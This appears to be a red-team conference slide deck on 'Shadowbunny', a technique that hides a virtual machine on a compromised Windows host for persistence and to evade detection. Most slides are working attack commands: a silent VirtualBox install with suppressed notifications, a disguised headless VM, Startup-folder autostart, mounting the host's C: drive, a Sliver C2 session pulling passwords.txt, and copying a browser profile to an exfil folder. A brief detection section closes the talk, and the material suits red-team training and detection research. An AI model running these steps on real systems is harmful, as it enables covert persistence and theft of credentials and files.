

# Beware of the Shadowbunny

Leveraging virtual machines to persist and evade detections

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
# Introduction

**Enjoy breaking things and help fixing them.**

- Established and managed multiple offensive security teams throughout career
- Always learning and love teaching

**Twitter:** @wunderwuzzi23

**Blog:** <https://embracethered.com>



# Agenda



- What is a Shadowbunny?
- Why red teams should use them
- Deep-dive into the TTP (setup, configuration and considerations)
- Detections and threat hunting ideas
- Wrap up

# What is a Shadowbunny?

A Shadowbunny is a virtual machine (VM) instance that is deployed on a compromised host to provide an adversary persistence and at the same time evade detections. The VM itself does not have any security monitoring and is entirely attacker controlled.

Ryan deployed a Shadowbunny during the red team exercise.

*urbandictionary.com*

# Why share this?



*There is evidence that adversaries use virtual machines (at least) for ransomware deployments, hence we need to shine more light on this to have better chances of detecting such attacks.*



# The origins of the Shadowbunny



Microsoft  
Hyper-V



BSides Singapore 2020



BSidesSG





# Why use virtual machines as attacker?

- **VM is entirely attacker controlled**
  - No monitoring or security controls inside the VM
  - Persistence & backdoor access to host
  - Evasion & Obfuscation
  - Seems not well researched or known about
- 
- Interesting side effect: Limits damage untrusted code might cause



# Ragnar Locker Ransomware

\*\*\*\*\*

If you reading this message, then your network was PENETRATED and all of your files and data has been ENCRYPTED  
by RAGNAR\_LOCKER !

\*\*\*\*\*

Ragnar Locker ransomware deploys virtual machine to dodge security  
(<https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/>)

# Examples of Red Team Operations



Long-term persistence



Crypto-currency mining

# Attack Insights Dashboard

## Currently Compromised


- Hosts: 28
- Service Accounts: 12
- User Accounts: 8

Compromisable Hosts: 375

Host With Longest Persistence: 163 days

Crypto Mining Hash Rate: 118 KH/s

Daily Red Teaming Stats




Mining Hash Rate



# Shadowbunny Technique





# Shadowbunny Overview







# Shadowbunny Overview





**Pre-requisite:**  
Creation of a nefarious  
VM Image

# Offline VM Image Creation

- Operating System - Ragnarlocker uses Windows XP
- Image format (vdi, vhd, vhdx, vmdk,...)
- Image size
- Zombies, agents, etc. 
- Installation of useful “guest” software (like VBoxGuestAdditions)
- Telemetry and anti-virus
- Distribution 


# Periodically connecting to CNC

## 1) Edit crontab on VM


```
sudo crontab -e
```

## 2) Using flock to ensure zombie is running


```
* * * * * /usr/bin/flock -n /tmp/zombie.lock shadowbunny
```



# Distribution







Compromise

# Assume Breach - Acquiring target host

```
$creds = Get-Credential
```

```
Enter-PSSession -Computer targethost -Port 5986  
-Credential $creds -UseSSL
```



# Installing/Enabling Virtualization Software

# Which one to choose?

- Operating system of target host
- Pre-installed
- Compatibility issues
- Isolation requirements
- Host access: Shared Folders, web cam,...
- Automatic launch upon reboot of host

vmware®



Microsoft  
Hyper-V



KVM



# Downloading virtualization software

```
Invoke-WebRequest "https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-137981-Win.exe" -OutFile $env:TEMP\VirtualBox-6.1.8-137981-Win.exe
```



# VirtualBox: Installation



```
VirtualBox-6.0.14-133895-Win.exe --silent  
--ignore-reboot  
-msiparams VBox_INSTALLDESKTOPSHORTCUT=0,  
VBox_INSTALLQUICKLAUNCHSHORTCUT=0
```

```
[dangerzone]: PS C:\Users\wuzzi\Documents> Invoke-WebRequest "https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-137981-Win.exe" -OutFile $env:TEMP\VirtualBox-6.1.8-137981-Win.exe
[dangerzone]: PS C:\Users\wuzzi\Documents> cd $env:TEMP
[dangerzone]: PS C:\Users\wuzzi\AppData\Local\Temp> ls .\VirtualBox-6.1.8-137981-Win.exe

Directory: C:\Users\wuzzi\AppData\Local\Temp

Mode                LastWriteTime         Length Name
----                -
-a-----         6/1/2020   5:44 PM       106765832 VirtualBox-6.1.8-137981-Win.exe

[dangerzone]: PS C:\Users\wuzzi\AppData\Local\Temp> .\VirtualBox-6.1.8-137981-Win.exe --silent --ignore-reboot
>> --msiparams VBOX_INSTALLDESKTOPSHORTCUT=0,VBOX_INSTALLQUICKLAUNCHSHORTCUT=0
```



```
VBoxManage.exe list vms  
VBoxManage.exe list runningvms  
VBoxManage.exe startvm
```

```
VBoxManage.exe setextradata global GUI/SuppressMessages "all"
```



# Alternative: Enabling Hyper-V on Windows

## Via PowerShell

```
Enable-WindowsOptionalFeature -Online  
                                -FeatureName Microsoft-Hyper-V  
                                -All
```

## Via Deployment Image and Servicing Management

```
DISM /Online /Enable-Feature /All /FeatureName:Microsoft-Hyper-V
```



```
[192.168.1.140]: PS C:\> Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V*
```

```
[192.168.1.140]: PS C:\> Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All
Do you want to restart the computer to complete this operation now?
[Y] Yes [N] No [?] Help (default is "Y"): y
```


```
Path           :
Online          : True
RestartNeeded   : True
```

```
[192.168.1.140]: PS C:\>
```



# PowerShell Hyper-V commands

```
New-VM  
Get-VM  
Start-VM  
...
```



Downloading  
the VM Image

# Downloading the image file




```
Copy-Item \\smbserver\images\shadowbunny.vhd  
$env:USERPROFILE\VirtualBox\IT Recovery\shadowbunny.vhd`
```

or

```
git clone https://github.com/wunderwuzzi23/shadowbunny
```

Other options include Web Request, Database, Cloud SMB, a combination,...



# Configuration

# VBoxManage

```
PS > $vmname = "IT Recovery"
```

```
PS > .\VBoxManage.exe createvm --name $vmname --ostype "Ubuntu" -register
```

Virtual machine 'IT Recovery' is created and registered.

UUID: 7891a2bd-e9cc-432a-ae2a-ba1fb2de96a4

Settings file: 'C:\Users\wuzzi\VirtualBox VMs\IT Recovery\**IT Recovery.vbox**'


# Configuration Settings

```
. \VBoxManage.exe modifyvm $vmname --ioapic on # required for 64bit  
. \VBoxManage.exe modifyvm $vmname --memory 1024 --vram 128  
. \VBoxManage.exe modifyvm $vmname --nic1 nat  
. \VBoxManage.exe modifyvm $vmname --audio none  
. \VBoxManage.exe modifyvm $vmname --graphicscontroller vmsvga  
. \VBoxManage.exe modifyvm $vmname --description "shadowbunny"
```

# Mounting previously downloaded vhd file

```
.\VBoxManage.exe storagectl $vmname -name "SATA Controller" -add sata  
  
.\VBoxManage.exe storageattach $vmname  
    -comment "Shadowbunny Disk"  
    -storagectl "SATA Controller"  
    -type hdd  
    -medium "$env:USERPROFILE\VirtualBox VMs\IT Recovery\shadowbunny.vhd"  
    -port 0
```





# Launching the VM

Voila, now it's time to start the VM:


```
PS > .\VBoxManage.exe startvm "IT Recovery" -type headless
```

```
Waiting for VM "IT Recovery" to power on...
```

```
VM "IT Recovery " has been successfully started.
```

File Edit View Search Terminal Help

wuzzi@c2:~/cnc\$ ./sliver-server

A large, red, pixelated logo of the word "SLIVER" in a bold, blocky font, centered on the terminal screen.

All hackers gain dethrone

[\*] Server v1.0.7 - 67e5f355e7c22fd3424dfec1450b30c48503c159

[\*] Welcome to the sliver shell, please type 'help' for options


sliver &gt; mtl

[\*] Starting mTLS listener ...

sliver &gt;

[\*] Successfully started job #1

[\*] Session #1 UNITED\_INTELLIGENCE - 192.168.1.140:53861 (shadowbunny) - linux/386 - Sat, 19 Sep 2020 10:48

sliver > A red arrow points from the right side of the terminal window towards the session ID "(shadowbunny)" in the line above. A red circle is drawn around the session ID.

# Alternative: Using Hyper-V on Windows

```
$VM = "IT Recovery"
```

```
New-VM -Name $VM
```

```
-MemoryStartupBytes 2147483648
```

```
-Generation 2
```


```
-VHDPATH "C:\Users\...\Virtual Hard Disks\shadowbunny.vhdx"
```


```
-Path "C:\Users\All Users\Documents\Hyper-V\shadowbunny"
```

```
-SwitchName (Get-VMSwitch).Name
```

```
Set-VMFirmware $VM -EnableSecureBoot Off
```

```
Start-VM $VM
```





Persistence


# Persistence

Ensure **VM launches upon reboot of host machine**

Most VM software has this built in, some need a bit of hand holding

Creation of **Shared Folder** to access host (backdoor access)

Other possible options: Webcam, USB devices, smartcard of host,...





# Start VM via Startup Folder (VirtualBox on Windows)

Simple solution `config.bat` with the following command in it:

```
start /min "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe"  
startvm "IT Recovery"  
-type headless
```

Save the file to the victim's startup folder at:

```
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
```

# Shared Folders between Guest and Host

```
.\VBoxManage.exe sharedfolder add $vmname -name shadow_c -hostpath c:\ -automount
```

This adds the following lines to the .vbox xml configuration file:

```
<SharedFolders>
  <SharedFolder name="shadow_c" hostPath="c:\"
                writable="true" autoMount="true"/>
</SharedFolders>
```

Inside the Attack VM the drive can be mounted using\*:

```
$ sudo mkdir /mnt/c
$ sudo mount -t vboxsf shadow_c /mnt/c
```

\* requires VirtualBox Guest Additions

File Edit View Search Terminal Help

sliver (UNITED\_INTELLIGENCE) &gt;

sliver (UNITED\_INTELLIGENCE) &gt; sessions

ID	Name	Transport	Remote Address	Hostname	Username	Operating System	Last Check-in
1	UNITED_INTELLIGENCE	mtls	192.168.1.140:56210	shadowbunny	root	linux/386	Sat, 19 Sep 2020 12:20:58 PDT

sliver (UNITED\_INTELLIGENCE) &gt; use 1

[\*] Active session UNITED\_INTELLIGENCE (1)

sliver (UNITED\_INTELLIGENCE) &gt; ls /media/sf\_shadow\_c/

/media/sf\_shadow\_c

```
=====
$Recycle.Bin      <dir>
$SysReset         <dir>
Documents and Settings <dir>
PerfLogs          <dir>
Program Files     <dir>
Program Files (x86) <dir>
ProgramData       <dir>
Recovery          <dir>
System Volume Information <dir>
Users             <dir>
Windows           <dir>
```

This got auto-mounted.

Could also do manually, via:

mkdir /mnt/c

mount -t vboxsf shadow\_c /mnt/c

sliver (UNITED\_INTELLIGENCE) &gt; download /media/sf\_shadow\_c/Users/wuzzi/Desktop/passwords.txt


[\*] Wrote 9 bytes to /home/cnc/passwords.txt



# Detections and Threat Hunting

We know adversaries use VMs – and might have done so for a while.

**Really motivated adversaries likely compile their own virtualization toolkit to stay undetected (rather than using off the shelf software)**



# Detection ideas

## Collect and analyze telemetry for virtual machines in your environments

- Virtual hard disk size, memory, network config, shared folders,...

## “Suspicious” command line options

- Silent installs, e.g. via command line options (**–silent** and **–ignore-reboot**)
- Suppressing notifications – VBoxManage setextradata global GUI/SuppressMessages "all"
- Unexpected calls to Hyper-V commands (New-VM, Start-VM...) or enablement

## Auto Start Detection

- Usage of VBoxAutostartSvc service, VBOXAUTOSTART\_CONFIG environment variable

## Network traffic analysis



Assume Breach

Defeating the  
Shadowbunny

Zero Trust

• Homefield Advantage



Questions?

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**Twitter:** @wunderwuzzi23

<https://embraceethered.com>



# References

- Ragnar Locker ransomware deploys virtual machine to dodge security  
(<https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security>)
- VirtualBox Installation Windows  
([https://docs.oracle.com/en/virtualization/virtualbox/6.0/user/installation\\_windows.html](https://docs.oracle.com/en/virtualization/virtualbox/6.0/user/installation_windows.html))
- Hyper-V New-VM (<https://docs.microsoft.com/en-us/powershell/module/hyper-v/new-vm?view=win10-ps>)
- VBoxManage CLI (<https://www.virtualbox.org/manual/ch08.html>)
- Embrace The Red Blog (<https://embracethered.com>)
- Shadowbunny Article (<https://pentestmag.com/product/pentest-healthcare-security/>)
- Cybersecurity Attacks – Red Team Strategies  
(<https://www.amazon.com/Cybersecurity-Attacks-Strategies-practical-penetration-ebook/dp/B0822G9PTM> )

File Edit View Search Terminal Help

`sliver (UNITED_INTELLIGENCE) > sessions`

ID	Name	Transport	Remote Address	Hostname	Username	Operating System	Last Check-in
==	====	=====	=====	=====	=====	=====	=====
1	UNITED_INTELLIGENCE	mtls	192.168.1.140:56210	shadowbunny	root	linux/386	Sat, 19 Sep 2020 11:53:44 PDT

`sliver (UNITED_INTELLIGENCE) > use 1``[*] Active session UNITED_INTELLIGENCE (1)``sliver (UNITED_INTELLIGENCE) > shell``? This action is bad OPSEC, are you an adult? Yes``[*] Opening shell tunnel (EOF to exit) ...``[*] Started remote shell with pid 854``root@shadowbunny:~# ls``shadowbunny VBoxGuestAdditions_6.1.8.iso``root@shadowbunny:~# mkdir /mnt/c``root@shadowbunny:~# mount -t vboxsf shadow_c /mnt/c`

# Hyper-V: Persistent PowerShell Session

On host run:

```
$s = New-PSSession -VMName <VMName> -Credential (Get-Credential)
```

Copy files from host <-> VM:

```
Copy-Item -ToSession $s -Path C:\host_path\data.txt -Destination C:\guest_path\
```


```
Copy-Item -FromSession $s -Path C:\Users\Browser_Profile\ -Destination C:\exfil
```

Remove the session again:

```
Remove-PSSession $s
```

# Alternative: Using Hyper-V on Windows

vmconnect



PowerShell Direct Connections from Host to VM (on same machine):

`Invoke-Command -VMName <VMName> or Enter-PSSession -VMName <VMName>`